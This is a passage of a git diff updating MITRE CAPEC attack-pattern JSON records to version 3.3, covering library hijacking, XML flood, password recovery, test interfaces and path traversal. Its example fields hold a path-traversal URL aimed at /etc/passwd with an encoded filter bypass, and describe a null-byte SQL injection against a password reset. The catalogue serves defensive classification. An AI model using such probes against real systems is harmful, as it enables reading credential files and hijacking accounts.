  1. Craft malicious libraries: The attacker uses knowledge gained in the Explore phase to craft malicious libraries that they will redirect the target to leverage. These malicious libraries could have the same APIs as the legitimate library and additional malicious code.

    2. Techniques
    The attacker monitors the file operations performed by the target application using a tool like dtrace or FileMon. And the attacker can delay the operations by using \"sleep(2)\" and \"usleep()\" to prepare the appropriate conditions for the attack, or make the application perform expansive tasks (large files parsing, etc.) depending on the purpose of the application.

Exploit

  1. Redirect the access to libraries to the malicious libraries: The attacker redirects the target to the malicious libraries they crafted in the Experiment phase. The attacker will be able to force the targeted application to execute arbitrary code when the application attempts to access the legitimate libraries.

    2. Techniques
    The attacker modifies the entries in the configuration files pointing to the malicious libraries they crafted.
    The attacker leverages symlink/timing issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-132.
    The attacker leverages file search path order issues to redirect the target to access the malicious libraries they crafted. See also: CAPEC-38.
", "x_capec_prerequisites": [ "Attacker has a mechanism to place its malicious libraries in the needed location on the file system." ], @@ -45,7 +64,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6.json b/capec/attack-pattern/attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6.json index 2dd6e06253..a89e839ff2 100644 --- a/capec/attack-pattern/attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6.json +++ b/capec/attack-pattern/attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d4a4b3ee-8dee-407a-8c59-aec4469d73b2", + "id": "bundle--7f511609-b1df-443f-bf14-c64f252e9c7d", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ad242ccf-3578-4787-937c-22eb0ede3fb6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Collect Data from Registries", "description": "An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/285.html", "external_id": "CWE-285" + }, + { + "source_name": "ATTACK", + "description": "Unsecured Credentials:Credentials in Registry", + "url": "https://attack.mitre.org/wiki/Technique/T1552/002", + "external_id": "T1552.002" } ], "object_marking_refs": [ @@ -45,7 +51,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612.json b/capec/attack-pattern/attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612.json index b9ab91e57e..267bf030bf 100644 --- a/capec/attack-pattern/attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612.json +++ b/capec/attack-pattern/attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4337f221-82ab-4a9c-ac20-73630698ea76", + "id": "bundle--865cc871-2221-4139-a089-7949c6e0757e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--ad3913be-6ca6-48e6-9e3b-7b67e4162612", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XML Flood", "description": "An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Service Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/002", + "external_id": "T1499.002" } ], "object_marking_refs": [ @@ -38,6 +44,7 @@ "x_capec_example_instances": [ "Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instance of web services to process XML requests.

    2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the web service when the XML data sent to the service.

Exploit

  1. Launch a resource depletion attack: The attacker delivers a large number of XML messages to the target URLs found in the explore phase at a sufficiently rapid rate. It causes denial of service to the target application.

    2. Techniques
    Send a large number of crafted XML messages to the target URL.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The target must receive and process XML transactions.", @@ -48,7 +55,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--addd93c9-9278-4185-b402-e505d632c815.json b/capec/attack-pattern/attack-pattern--addd93c9-9278-4185-b402-e505d632c815.json index 20e3b14e6f..9471f42736 100644 --- a/capec/attack-pattern/attack-pattern--addd93c9-9278-4185-b402-e505d632c815.json +++ b/capec/attack-pattern/attack-pattern--addd93c9-9278-4185-b402-e505d632c815.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--66732269-5f20-4037-87ed-550701026ff8", + "id": "bundle--9f0627f4-b821-4a5a-8fe5-e0f29a3e5207", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--addd93c9-9278-4185-b402-e505d632c815", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Password Recovery Exploitation", "description": "An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure. Most of them use only one security question . For instance, mother's maiden name tends to be a fairly popular one. Unfortunately in many cases this information is not very hard to find, especially if the attacker knows the legitimate user. These generic security questions are also re-used across many applications, thus making them even more insecure. An attacker could for instance overhear a coworker talking to a bank representative at the work place and supplying their mother's maiden name for verification purposes. An attacker can then try to log in into one of the victim's accounts, click on \"forgot password\" and there is a good chance that the security question there will be to provide mother's maiden name. A weak password recovery scheme totally undermines the effectiveness of a strong password scheme.", "external_references": [ @@ -56,8 +56,9 @@ }, "x_capec_example_instances": [ "An attacker clicks on the \"forgot password\" and is presented with a single security question. The question is regarding the name of the first dog of the user. The system does not limit the number of attempts to provide the dog's name. An attacker goes through a list of 100 most popular dog names and finds the right name, thus getting the ability to reset the password and access the system.", - "\n phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL.\n A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over his account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module.\n The e-mail address requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression:\n if(!eregi(\"^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$\", $email)){\n \n A bug in the implementation of eregi() allows to pass additional character using a null byte \"\\0\". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the regular expression. So an e-mail address can be provided that includes the special character \" ' \" to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible:\n $get_info=mysql_query(\"select * from banneruser whereemail='$email' \");\n \n This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database.\n Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system.See also: CVE-2006-3013" + "\n phpBanner Exchange is a PHP script (using the mySQL database) that facilitates the running of a banner exchange without extensive knowledge of PHP or mySQL.\n A SQL injection was discovered in the password recovery module of the system that allows recovering an arbitrary user's password and taking over their account. The problem is due to faulty input sanitization in the phpBannerExchange, specifically the e-mail address of the user which is requested by the password recovery module.\n The e-mail address requested by the password recovery module on the resetpw.php page. That e-mail address is validated with the following regular expression:\n if(!eregi(\"^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$\", $email)){\n \n A bug in the implementation of eregi() allows to pass additional character using a null byte \"\\0\". Since eregi() is implemented in C, the variable $email is treated as a zero-terminated string. All characters following the Null Byte will not be recognized by the regular expression. So an e-mail address can be provided that includes the special character \" ' \" to break the SQL query below (and it will not be rejected by the regular expression because of the null byte trick). So a SQL injection becomes possible:\n $get_info=mysql_query(\"select * from banneruser whereemail='$email' \");\n \n This query will return a non-zero result set even though the email supplied (attacker's email) is not in the database.\n Then a new password for the user is generated and sent to the $email address, an e-mail address controlled by the attacker. An attacker can then log in into the system.See also: CVE-2006-3013" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Understand the password recovery mechanism and how it works.

Exploit

  1. Find a weakness in the password recovery mechanism and exploit it. For instance, a weakness may be that a standard single security question is used with an easy to determine answer.

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The system allows users to recover their passwords and gain access back into the system.", @@ -74,7 +75,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ae3f2c33-9018-442e-9cc3-24d65c7f4974.json b/capec/attack-pattern/attack-pattern--ae3f2c33-9018-442e-9cc3-24d65c7f4974.json index 32d5df9c5a..2072b42bcb 100644 --- a/capec/attack-pattern/attack-pattern--ae3f2c33-9018-442e-9cc3-24d65c7f4974.json +++ b/capec/attack-pattern/attack-pattern--ae3f2c33-9018-442e-9cc3-24d65c7f4974.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3f65a785-c4ab-47a2-8f78-2b42586183f8", + "id": "bundle--9769ddc3-4ed2-4acb-8024-2f0e5e12f2c9", "spec_version": "2.0", "objects": [ { @@ -46,7 +46,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--aea87f07-9619-4bc5-9790-01bf3423c494.json b/capec/attack-pattern/attack-pattern--aea87f07-9619-4bc5-9790-01bf3423c494.json index 78f2b6f63c..c91fc026d5 100644 --- a/capec/attack-pattern/attack-pattern--aea87f07-9619-4bc5-9790-01bf3423c494.json +++ b/capec/attack-pattern/attack-pattern--aea87f07-9619-4bc5-9790-01bf3423c494.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9b5f7fc0-fcdf-4848-ac95-b0a7dd3c6b74", + "id": "bundle--e4fdb1a5-1f0f-48f0-920f-997b8341fb5d", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd.json b/capec/attack-pattern/attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd.json index 1c7ff40b63..46e68e3150 100644 --- a/capec/attack-pattern/attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd.json +++ b/capec/attack-pattern/attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fc9236de-9009-46c6-9b09-e0d819aee811", + "id": "bundle--9a06f9a8-986a-4d00-9ca7-0f0d4c393499", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--aef8e9e0-4714-4890-9470-06276c61abfd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Install New Service", "description": "When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.", "external_references": [ @@ -21,6 +21,36 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Systemd Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/002", + "external_id": "T1543.002" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Windows Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/003", + "external_id": "T1543.003" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Launch Daemon", + "url": "https://attack.mitre.org/wiki/Technique/T1543/004", + "external_id": "T1543.004" + }, + { + "source_name": "ATTACK", + "description": "System Services:Launchctl", + "url": "https://attack.mitre.org/wiki/Technique/T1569/001", + "external_id": "T1569.001" + }, + { + "source_name": "ATTACK", + "description": "System Services:Service Execution", + "url": "https://attack.mitre.org/wiki/Technique/T1569/002", + "external_id": "T1569.002" } ], "object_marking_refs": [ @@ -28,7 +58,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--af1a9e65-4ca7-4551-b1de-6192539652c5.json b/capec/attack-pattern/attack-pattern--af1a9e65-4ca7-4551-b1de-6192539652c5.json index 13f3ff3cf5..1f045b786f 100644 --- a/capec/attack-pattern/attack-pattern--af1a9e65-4ca7-4551-b1de-6192539652c5.json +++ b/capec/attack-pattern/attack-pattern--af1a9e65-4ca7-4551-b1de-6192539652c5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2308af79-4c47-47c1-befc-7fae90892cfa", + "id": "bundle--1946bf49-ae7b-4e15-aabe-4d571058fb79", "spec_version": "2.0", "objects": [ { @@ -56,7 +56,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--af65cbd9-cc10-4c4f-9cc3-843941cdf357.json b/capec/attack-pattern/attack-pattern--af65cbd9-cc10-4c4f-9cc3-843941cdf357.json index bc461382f5..cbd03ebf7b 100644 --- a/capec/attack-pattern/attack-pattern--af65cbd9-cc10-4c4f-9cc3-843941cdf357.json +++ b/capec/attack-pattern/attack-pattern--af65cbd9-cc10-4c4f-9cc3-843941cdf357.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9171d174-219c-4fad-87b9-24a3459e09b4", + "id": "bundle--5290fd83-d6af-40dc-bcbe-879350e90dc4", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--af65cbd9-cc10-4c4f-9cc3-843941cdf357", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Detect Unpublicized Web Services", "description": "An attacker searches a targeted web site for web services that have not been publicized. Generally this involves mapping the published web site by spidering through all the published links and then attempt to access well-known debugging or logging services, or otherwise predictable services within the site tree. This attack can be especially dangerous since unpublished but available services may not have adequate security controls placed upon them given that an administrator may believe they are unreachable.", "external_references": [ @@ -30,7 +30,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b.json b/capec/attack-pattern/attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b.json index edec02acc1..6c1bae3b18 100644 --- a/capec/attack-pattern/attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b.json +++ b/capec/attack-pattern/attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--bb16ea53-deef-4d3d-b284-9b16e3e84185", + "id": "bundle--d9c7d6c6-7a8c-4448-9545-4a7442ba550b", "spec_version": "2.0", "objects": [ { @@ -87,7 +87,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b217a941-e854-468d-921b-beeba3c73a98.json b/capec/attack-pattern/attack-pattern--b217a941-e854-468d-921b-beeba3c73a98.json index 48bfaffaed..41334326cc 100644 --- a/capec/attack-pattern/attack-pattern--b217a941-e854-468d-921b-beeba3c73a98.json +++ b/capec/attack-pattern/attack-pattern--b217a941-e854-468d-921b-beeba3c73a98.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b5946946-4a81-4f39-a46a-d5e931fe268d", + "id": "bundle--025cec63-eb27-42fb-a656-d21f214033cf", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b27e3b46-2838-4339-a570-006474c8c402.json b/capec/attack-pattern/attack-pattern--b27e3b46-2838-4339-a570-006474c8c402.json index 6fea93208b..4fff35f9f2 100644 --- a/capec/attack-pattern/attack-pattern--b27e3b46-2838-4339-a570-006474c8c402.json +++ b/capec/attack-pattern/attack-pattern--b27e3b46-2838-4339-a570-006474c8c402.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--76dab62a-0f7b-461b-bc7a-6dcfa1afea67", + "id": "bundle--73d2d820-2c78-411a-b4fa-86d8795ed8f4", "spec_version": "2.0", "objects": [ { @@ -56,7 +56,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b289975f-c5e0-4d27-bf50-5937bfd02cfd.json b/capec/attack-pattern/attack-pattern--b289975f-c5e0-4d27-bf50-5937bfd02cfd.json index 7adf17f186..d7c191805c 100644 --- a/capec/attack-pattern/attack-pattern--b289975f-c5e0-4d27-bf50-5937bfd02cfd.json +++ b/capec/attack-pattern/attack-pattern--b289975f-c5e0-4d27-bf50-5937bfd02cfd.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a046dd41-bb01-429e-983d-e5a4674bf122", + "id": "bundle--caef064e-3b91-4b32-81f5-993f81534b8f", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--b289975f-c5e0-4d27-bf50-5937bfd02cfd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", - "name": "Exploit Test APIs", - "description": "An attacker exploits a sample, demonstration, or test API that is insecure by default and should not be resident on production systems. Some applications include APIs that are intended to allow an administrator to test and refine their domain. These APIs should usually be disabled once a system enters a production environment. Testing APIs may expose a great deal of diagnostic information intended to aid an administrator, but which can also be used by an attacker to further refine their attack. Moreover, testing APIs may not have adequate security controls or may not have undergone rigorous testing since they were not intended for use in production environments. As such, they may have many flaws and vulnerabilities that would allow an attacker to severely disrupt a target.", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Exploit Non-Production Interfaces", + "description": "\n An adversary exploits a sample, demonstration, test, or debug interface that is unintentionally enabled on a production system, with the goal of gleaning information or leveraging functionality that would otherwise be unavailable. Non-production interfaces are insecure by default and should not be resident on production systems, since they may reveal sensitive information or functionality that should not be known to end-users. However, such interfaces may be unintentionally left enabled on a production system due to configuration errors, supply chain mismanagement, or other pre-deployment activities.\n For example, some software applications include application programming interfaces (APIs) that are intended to allow an administrator to test and refine their domain. These APIs are typically disabled once a system enters a production environment, but may be left in an insecure state due to a configuration error or mismanagement. Similarly, many hardware systems leverage bits typically reserved for future functionality for testing and debugging purposes. If these reserved bits remain enabled in a production environment, it could allow an adversary to induce unwanted/unsupported behavior in the hardware.\n Ultimately, failure to properly disable non-production interfaces, in a production environment, may expose a great deal of diagnostic information or functionality to an adversary, which can be utilized to further refine their attack. Moreover, many non-production interfaces do not have adequate security controls or may not have undergone rigorous testing since they were not intended for use in production environments. As such, they may contain many flaws and vulnerabilities that could allow an adversary to severely disrupt a target.\n ", "external_references": [ { "source_name": "capec", @@ -21,22 +21,66 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/489.html", "external_id": "CWE-489" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1209.html", + "external_id": "CWE-1209" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Swarup Bhunia, Mark M. Tehranipoor, The Hardware Trojan War: Attacks, Myths, and Defenses, 2017--11---30, Springer", + "external_id": "REF-588" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Boyang Du, Matteo Sonza Reorda, Luca Sterpone, Luis Parra, Marta Portela-Garcia, Almudena Lindoso, Luis Entrena, Exploiting the debug interface to support on-line test of control flow errors, 2013--07---08, Institute of Electrical and Electronics Engineers (IEEE)", + "url": "https://ieeexplore.ieee.org/document/6604058/authors#authors", + "external_id": "REF-589" } ], "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Standard", + "x_capec_consequences": { + "Access_Control": [ + "Modify Data", + "Alter Execution Logic" + ], + "Authentication": [ + "Gain Privileges", + "Bypass Protection Mechanism" + ], + "Authorization": [ + "Read Data", + "Execute Unauthorized Commands" + ], + "Confidentiality": [ + "Gain Privileges", + "Bypass Protection Mechanism", + "Read Data", + "Execute Unauthorized Commands" + ], + "Integrity": [ + "Modify Data", + "Alter Execution Logic" + ] + }, + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Vulnerable Interface: An adversary explores a target system for sample or test interfaces that have not been disabled by a system administrator and which may be exploitable by the adversary.

    2. Techniques
    If needed, the adversary explores an organization's network to determine if any specific systems of interest exist.

Exploit

  1. Leverage Test Interface to Execute Attacks: Once an adversary has discovered a system with a non-production interface, the interface is leveraged to exploit the system and/or conduct various attacks.

    2. Techniques
    The adversary can leverage the sample or test interface to conduct several types of attacks such as Man-in-the-Middle attacks, keylogging, Cross Site Scripting (XSS), hardware manipulation attacks, and more.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ - "The target must have installed test APIs and failed to secure or remove them when brought into a production environment." + "The target must have configured non-production interfaces and failed to secure or remove them when brought into a production environment." ], "x_capec_resources_required": [ - "For some APIs, the attacker will need that appropriate client application that interfaces with the API. Other APIs can be executed using simple tools, such as web browsers or console windows. In some cases, an attacker may need to be able to authenticate to the target before it can access the vulnerable APIs." + "For some interfaces, the attacker will need that appropriate client application or hardware that interfaces with the interface. Other non-production interfaces can be executed using simple tools, such as web browsers or console windows. In some cases, an attacker may need to be able to authenticate to the target before it can access the vulnerable interface." ], - "x_capec_status": "Draft", + "x_capec_skills_required": { + "High": "Exploiting non-production interfaces requires significant skill and knowledge about the potential non-production interfaces left enabled in production." + }, + "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b2d76f31-f1e3-4797-a19f-246859422074.json b/capec/attack-pattern/attack-pattern--b2d76f31-f1e3-4797-a19f-246859422074.json index 996709b1c9..51ff7b6af8 100644 --- a/capec/attack-pattern/attack-pattern--b2d76f31-f1e3-4797-a19f-246859422074.json +++ b/capec/attack-pattern/attack-pattern--b2d76f31-f1e3-4797-a19f-246859422074.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6a8846e1-6159-4734-8f8f-ebb5c4128558", + "id": "bundle--8fcc6963-be9a-4905-8b94-54bb9267f912", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--b2d76f31-f1e3-4797-a19f-246859422074", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Relative Path Traversal", "description": "An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \\) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.", "external_references": [ @@ -65,6 +65,7 @@ "x_capec_example_instances": [ "\n The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file.\n http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd\n However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string.\n Then an attacker creates special payloads to bypass this filter:\n http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd\n When the application gets this input string, it will be the desired vector by the attacker.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey application: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the links they find. They pick out the URL parameters that may related to access to files.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plug-in are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: Possibly using an automated tool, an attacker requests variations on the identified inputs. They send parameters that include variations of payloads.

    2. Techniques
    Use a list of probe strings as path traversal payload. Different strings may be used for different platforms. Strings contain relative path sequences such as \"../\".
    Use a proxy tool to record results of manual input of relative path traversal probes in known URLs.

Exploit

  1. Access, modify, or execute arbitrary files.: An attacker injects path traversal syntax into identified vulnerable inputs to cause inappropriate reading, writing or execution of files. An attacker could be able to read directories or files which they are normally not allowed to read. The attacker could also access data outside the web document root, or include scripts, source code and other kinds of files from external websites. Once the attacker accesses arbitrary files, they could also modify files. In particular situations, the attacker could also execute arbitrary code or system commands.

    2. Techniques
    Manipulate file and its path by injecting relative path sequences (e.g. \"../\").
    Download files, modify files, or try to execute shell commands (with binary files).
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target application must accept a string as user input, fail to sanitize combinations of characters in the input that have a special meaning in the context of path navigation, and insert the user-supplied string into path navigation commands." @@ -75,7 +76,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b2e8de4b-6757-4e7e-9c5c-210c44100577.json b/capec/attack-pattern/attack-pattern--b2e8de4b-6757-4e7e-9c5c-210c44100577.json index 1db9d69f65..937f571bd8 100644 --- a/capec/attack-pattern/attack-pattern--b2e8de4b-6757-4e7e-9c5c-210c44100577.json +++ b/capec/attack-pattern/attack-pattern--b2e8de4b-6757-4e7e-9c5c-210c44100577.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f357948a-9a3a-489f-8f6c-f03d2186d09d", + "id": "bundle--e0ec5c32-2329-4683-b983-5edb19817402", "spec_version": "2.0", "objects": [ { @@ -37,7 +37,7 @@ "An adversary must be able install a purpose built malicious application onto the Android device and convince the user to execute it. The malicious application will be used to issue spoofed intents." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--b3eaa7aa-9601-406c-ae82-0a0e2ea16116.json b/capec/attack-pattern/attack-pattern--b3eaa7aa-9601-406c-ae82-0a0e2ea16116.json index 6e1a69a673..d1a917b6fc 100644 --- a/capec/attack-pattern/attack-pattern--b3eaa7aa-9601-406c-ae82-0a0e2ea16116.json +++ b/capec/attack-pattern/attack-pattern--b3eaa7aa-9601-406c-ae82-0a0e2ea16116.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": 